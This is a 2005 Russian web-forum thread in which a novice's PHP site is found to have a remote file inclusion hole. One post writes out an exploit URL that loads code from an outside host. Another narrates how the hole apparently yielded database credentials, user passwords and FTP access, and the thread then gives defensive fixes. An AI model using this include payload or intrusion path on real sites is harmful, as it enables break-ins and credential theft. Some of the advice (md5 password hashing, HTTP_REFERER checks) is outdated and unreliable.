русский
Germany.ruForen → Архив Досок→ Webdesign und Hosting

Набросал сайт, взгляните

373  1 2 alle
Mmmaloy знакомое лицо18.03.05 21:15
Mmmaloy
NEW 18.03.05 21:15 
Привет всем. Вобщем сделал наброски сайта.
http://www.ls-soft.com/wortschatz/
Это только наброски, но пожелания в каком направлении развивать, на что обратить внимание и т.д. уже хотелось бы услышать. Спасибо
http://ls-soft.com
#1 
  Menvix знакомое лицо18.03.05 21:18
NEW 18.03.05 21:18 
in Antwort Mmmaloy 18.03.05 21:15
Лично мне нормально по шаблону делал?
http://www.mitnick.com.ru/downloads/test.html
http://menvix.newmail.ru
#2 
Mmmaloy знакомое лицо18.03.05 21:40
Mmmaloy
NEW 18.03.05 21:40 
in Antwort Menvix 18.03.05 21:18
Можно сказать что да. Надеюсь не убют меня. А если чего перекроим.
http://ls-soft.com
#3 
Merphy гость20.03.05 19:10
Merphy
NEW 20.03.05 19:10 
in Antwort Mmmaloy 18.03.05 21:15
Если это шаблон, тогда что сделал ты?
#4 
Mmmaloy знакомое лицо21.03.05 20:01
Mmmaloy
NEW 21.03.05 20:01 
in Antwort Merphy 20.03.05 19:10
Не совсем понимаю значение "по шаблону".
Я походил по другим сайтам в интернете, "подсмотрел" кое-где дизайн, и применил на своей странице. А все остальное - организация структуры, идея, программирование, и закладка информации моя. Вроде тоже не мало.
http://ls-soft.com
#5 
Залетный посетитель21.03.05 23:53
Залетный
21.03.05 23:53 
in Antwort Mmmaloy 18.03.05 21:15
Ай-ай. Ну и ДЫРЕНЬ на вашем сайте. Программирование... Через ваш сайт можно пролезть по всему серверу хостера. И посмотреть всякие нужности.
http://www.studio102.ru - полет нормальный.
#6 
Mmmaloy знакомое лицо22.03.05 00:28
Mmmaloy
NEW 22.03.05 00:28 
in Antwort Залетный 21.03.05 23:53
Упс! А это уже страшно. Поясните пожалуйста что за дырочка и как залотать.
http://ls-soft.com
#7 
Залетный посетитель22.03.05 00:46
Залетный
NEW 22.03.05 00:46 
in Antwort Mmmaloy 22.03.05 00:28
У вас из переменной site берется путь к файлу.
Я могу туда подставить адрес любого файла, какой мне нужен, и он выполнится.
Как пример http://www.ls-soft.com/wortschatz/index.php?site=http://gym9.volgograd.ru/temp/test.inc
Здесь я напечатал просто текст. Можно написать любой код...
Как залатать... Или фильтровать запрос, или просто отказаться от такой структуры.
http://www.studio102.ru - полет нормальный.
#8 
Mmmaloy знакомое лицо22.03.05 00:52
Mmmaloy
NEW 22.03.05 00:52 
in Antwort Залетный 22.03.05 00:46, Zuletzt geändert 22.03.05 00:54 (Mmmaloy)
В принципе эта дырка мне известна. Признаюсь это первый мой сайт с применением PHP. До другой структуры пока не додумался. Но я чего-то ей особого значения не придаю. Пусть пока будет. В будующем сайт перекрою. Но спасибо за ее указание.
http://ls-soft.com
#9 
Залетный посетитель22.03.05 12:08
Залетный
22.03.05 12:08 
in Antwort Mmmaloy 22.03.05 00:52
Смотри. Узнает кто-нибудь и пулей с сервера полетишь. :)
Кроме сломать, твой сайт можно использовать, чтобы прокачать кучу трафика. А это провайдеру стоит денег.
http://www.studio102.ru - полет нормальный.
#10 
voxel3d свой человек22.03.05 22:38
voxel3d
NEW 22.03.05 22:38 
in Antwort Mmmaloy 22.03.05 00:52, Zuletzt geändert 22.03.05 23:55 (voxel3d)
>В принципе эта дырка мне известна.
>Но я чего-то ей особого значения не придаю. Пусть пока будет.
Ну, напрасно, напрасно. Я попытаюсь объяснить, что можно с подобной дыркой сделать.
Сначала немного теории.
Это дыра имеет позволяет воспользоваться кросс-сайт скриптингом. Данный термин обозначает несколько видов атак, в данном случае, позволяет исполнить в контексте Вашего веб-сервера скрипт находящийся где угодно в интернете. А это означает, что можно получить полный контроль над Вашим сайтом при некоторых благоприятных условиях.
Если неубедительно звучит, тогда попробую потеоретизировать, что можно сделать практически.
Можно прийти с работы домой, почитать германку, увидеть эту ветку, убедиться, что дырища на самом деле имеется, залить куда-нить на халявный вебхостинг скрипт на PHP, который выводит phpinfo() и содержимое страницы index.php, тут дабы совсем тупые скрипкидди не претворили в жизнь заветы партии, скажу: "использовать этот скрипт", так вот, использовать этот скрипт для просмотра содержимого index.php и настроек вебсервера, увидеть скрипт haupt.php загружаемый в index.php, а в нём подключаемый basa_info.php в котором лежат имя базы, логин и пароль, изменить скрипт на халявном хостинге, что бы он показал что там в таблице users лежит...
Да, надо сказать, использование safe_mode на веб-сервере былo здравой идеей..
Итак, к данному моменту, чисто теоретически ;-), получены пользователи сайта. Кстати, могла бы произойти совершенно невероятная вещь -- вебмастер использует один и тот же пароль и для коннекта к БД, и для доступа к ftp, так, что safe-mode для дефейса стал бы не проблемой. Так вот, дальше можно было бы слить сайт к себе на винт, с удивлением увидеть какую-то хрень ненужную, которая что-то там переименовываeт. Потом можно было бы, на всякий случай, проверить аккаунты всех пользователей на их почтовых ящиках, могла бы произойти не менее невероятная вещь -- у кого-то могли бы логин и пароль подойти и к ящику, а возможно у кого-то и к германке..
Потом можно было бы подумать вслух: "порыцца в грязном белье и поискать в почте информацию о каких-либо аккаунтах?", но всё-таки решить принципиально не делaть ничего плохого :) людям которые существуют на германке, и просто разлогиниться и ничего личного ни у кого не читать. И посоветовать аффтару более серьёзно относится к дырам.
Также можно посоветовать заменить принимаемые имена страниц на константы с каждой из которых была бы сопоставлена своя страница, это закрыло бы дыру. Также, в базе пользователей хранить хэши вместо паролей и, при логине сравнивать хэш от введённого пароля с хэшем из таблицы, это усложнило бы задачу того кто добрался бы до таблицы. Потом можно посоветовать аффтару подходить более последовательно к обработке ошибок в коде -- это благотворно сказывается на карме т.к. стиль программирования при этом улучшится. Ну, и наконец, посоветовать сообщить пользователям данного сайта, что чисто теоретически, сайт, в виду непредвиденных дыр, мог быть немного поломан, поэтому стоит поменять пароли.
Вот что могло бы случиться, чисто теоретически , конечно, от того, что дыры не кажутся серьёзными, а сайт является недоделанным.
Кстати, это не самых худший вариант. Хуже для владельца сайта, когда делается это молча, а вебмастер уверенный, что дыра пусть посуществует себе пока, успокоеный незначительностью дырки, будет делать спокойно сайт дальше, а тот кто его сломал бы сейчас, подождал бы пока база пользователей не наберётся побольше, даже вероятное обещаниe вебмастера закрыть дыры не помешало бы -- вполне вероятно, что доступ на фтп будет также хорошо функционировать и будущем... Далее мысль развивать не буду.
Спасибо за внимание. ;)
---
Если вы параноик, то это не значит ещё, что за вами не следят.
Dropbox - средство синхронизации и бэкапа файлов.
#11 
voxel3d свой человек23.03.05 00:31
voxel3d
NEW 23.03.05 00:31 
in Antwort Mmmaloy 22.03.05 00:52
Да, кстати, информацию о физическом пути к скрипту в сообщениях об ошибках показывать совсем необязательно -- ходят упорные слухи, что нехорошие люди могут этим воспользоваться в злых целях. И параметры которые поступают в SQL запрос надо тщательно фильтровать -- на тот невероятный случай если они напрямую в запрос подставляются, говорят, можно неожиданно базу потерять в один миг...
---
Идиотов и фриков перевоспитать невозможно!
Dropbox - средство синхронизации и бэкапа файлов.
#12 
Mmmaloy местный житель23.03.05 00:38
Mmmaloy
NEW 23.03.05 00:38 
in Antwort voxel3d 22.03.05 22:38
Ок. Теперь я понял всю серьезность проблемы. Тогда следующий вопрос:
В ответ на:

Также можно посоветовать заменить принимаемые имена страниц на константы с каждой из которых была бы сопоставлена своя страница, это закрыло бы дыру.


А где хранить констаты? Что-то я уже не в чем не уверен и думаю, что эти константы будут также с лекгостью просмотренны. И где же черт побери хранить пароль к базе? Я уже не знаю что и делать.
Вообще хотелось бы просмотреть шаблон какого-нибудь сайта, как правильно нужно делать что бы избежать подобных проблем?
http://ls-soft.com

#13 
Mmmaloy местный житель23.03.05 00:53
Mmmaloy
NEW 23.03.05 00:53 
in Antwort voxel3d 23.03.05 00:31
В ответ на:

информацию о физическом пути к скрипту в сообщениях об ошибках показывать совсем необязательно


Как ее прятать-то?
Чего-то не представляю как можно в контрукцию SELECT всавить параметры, которые бы убивали базу? Конструкцию DELETE я не применяю нигде, здесь бы было все ясно. Это важно мне знать, что бы мочь правильно запросы фильтровать
http://ls-soft.com

#14 
voxel3d свой человек23.03.05 01:58
voxel3d
NEW 23.03.05 01:58 
in Antwort Mmmaloy 23.03.05 00:38
О, приятно видеть человека, который не ругаецца.
>А где хранить констаты? Что-то я уже не в чем не уверен и думаю, что эти константы будут также с лекгостью просмотренны.
Да они будут видны, но это значения иметь не будет. Сейчас грузится то, что указано в ?site=xxxxx, т.е. ваще что угодно, а будет загружаться из ж╦стко заданного набора страниц. У вас будет в том же самом скрипте что принимает переменную $site нечто типа:
switch( $site ) {
case 1:
тут грузите страницу1..
break;
case 2:
тут грузите страницу2..
break;
default:
die("hacker? mmm.. logged.",0);
}
т.е. XSS станет уже невозможным.
Кстати, по ходу дела, есть такая глобальная переменная $HTTP_REFFER советую посмотреть -- е╦ можно использовать для выяснения откуда запрос приш╦л -- из Вашей собственной формы или с какого левого халявного хостинга..
>Вообще хотелось бы просмотреть шаблон какого-нибудь сайта, как правильно нужно делать что бы избежать подобных проблем?
Это необязательно. Делайте как хотите, просто узнайте о возможных проблемах и выясните как дыры работают -- от 90% процентов взломщиков избавитесь. А без этого и шаблоны не помогут. Вон, сколько phpBB, что мнoго где стоит вылизывают, до сих пор дыры находятся.
>И где же черт побери хранить пароль к базе?
Там же где и храните, просто сделайте так, чтобы как минимум, этот пароль был уникальный , в начале файла стояла проверка того, что файл заинклюжен из правильного места, и вместо паролей в открытом виде запихивайте md5 хэши в таблицу. Кроме того, сам файл кладите в отдельную директорию закрытую от внешнего мира .htaccess -ом чтобы нельзйы было броузером файл этот заполучить, и уберите доступ к нему с ftp раз уж вебсервер вс╦ равно Ваш. Вс╦ это затруднит его получение.
>>информацию о физическом пути к скрипту в сообщениях об ошибках показывать совсем необязательно
>Как ее прятать-то?
Ну как, все обращения к базе должны содержать "or die" либо-ещ╦ какой метод обработки ошибок, что бы небыло ситуаций, когда соединения с базой нет, а делается попытка выполнения mysql_query(). Т.е. если была ошибка, то должно вывестись сообщение пользователю о ней не содержащее никакой для него полезной информации и программа должны быть останолена. И не забывайте, что можно передав заведомо неверные параметры спровоцировать ошибку, т.е. там, к примеру, где требуется ввести целое число, которое будет использоваться как параметр в SQL-запросе, должно быть полученo именно целое число и ничего другого. Фильтруйте!
>Чего-то не представляю как можно в контрукцию SELECT всавить параметры, которые бы убивали базу?
вот одно из простых описаний SQL-Injection. Там найд╦те примеры вставки в базу. Вместо INSERT/UPDATE вполне может быть DROP.
http://www.securitylab.ru/31623.html

---
Идиотов и фриков перевоспитать невозможно!
Dropbox - средство синхронизации и бэкапа файлов.
#15 
Залетный посетитель23.03.05 10:29
Залетный
NEW 23.03.05 10:29 
in Antwort voxel3d 22.03.05 22:38
То что ты написал - цветочки. :) Подумаешь сайт удалят - он ничего не значит в общем-то. Можно получить доступ к всему серверу и просканировать все каталоги!!! Т.е. узнать все пароли и логины других пользователей хостинга! Вот так вот.
http://www.studio102.ru - полет нормальный.
#16 
Mmmaloy местный житель23.03.05 10:37
Mmmaloy
NEW 23.03.05 10:37 
in Antwort voxel3d 23.03.05 01:58
Спасибо за все замечания, уже сегодня начну переделывать с учетом всех рекомендаций. Может есть еще грубые ошибки?
http://ls-soft.com
#17 
  validol свой человек23.03.05 10:39
NEW 23.03.05 10:39 
in Antwort Залетный 23.03.05 10:29
>>>Т.е. узнать все пароли и логины других пользователей хостинга! Вот так вот.
ну ка подскажи точнее
Щас сделаю спецом и на свои хостинг закину
******
#18 
Mmmaloy местный житель23.03.05 10:40
Mmmaloy
NEW 23.03.05 10:40 
in Antwort Залетный 23.03.05 10:29
А вот ты запугал меня, без шуток, очень сильно.
Что я не так сделал? и как получить указанный доступ через мой сайт? и как это дело прикрыть. Только битте "ключевые" моменты в личку. Спасибо.
http://ls-soft.com
#19 
voxel3d свой человек23.03.05 11:17
voxel3d
NEW 23.03.05 11:17 
in Antwort Залетный 23.03.05 10:29
Сайт -- хрен с ним, из бэкапа восстановится. Самое неприятное это полученый доступ к личной инфе. И не только вебмастера.
>Можно получить доступ к всему серверу и просканировать все каталоги!!!
Включ╦н safe-mode и restricted base_dir. Допустим, вчера, я сюда ничего не писал и по-прежнему имею доступ на ftp. Просвяти, каким образом я получу возможность вылезти за пределы ftp_rooт_dir? Единственное, что имеется это apache 2.0.48 и установленные модули. Мне лень ковырять было, если ты так уверенно говоришь, возможно ты что-то конкретное имеешь в виду? В данной версии апача есть непофиксеный buffer overflow?

---
Идиотов и фриков перевоспитать невозможно!
Dropbox - средство синхронизации и бэкапа файлов.
#20 
1 2 alle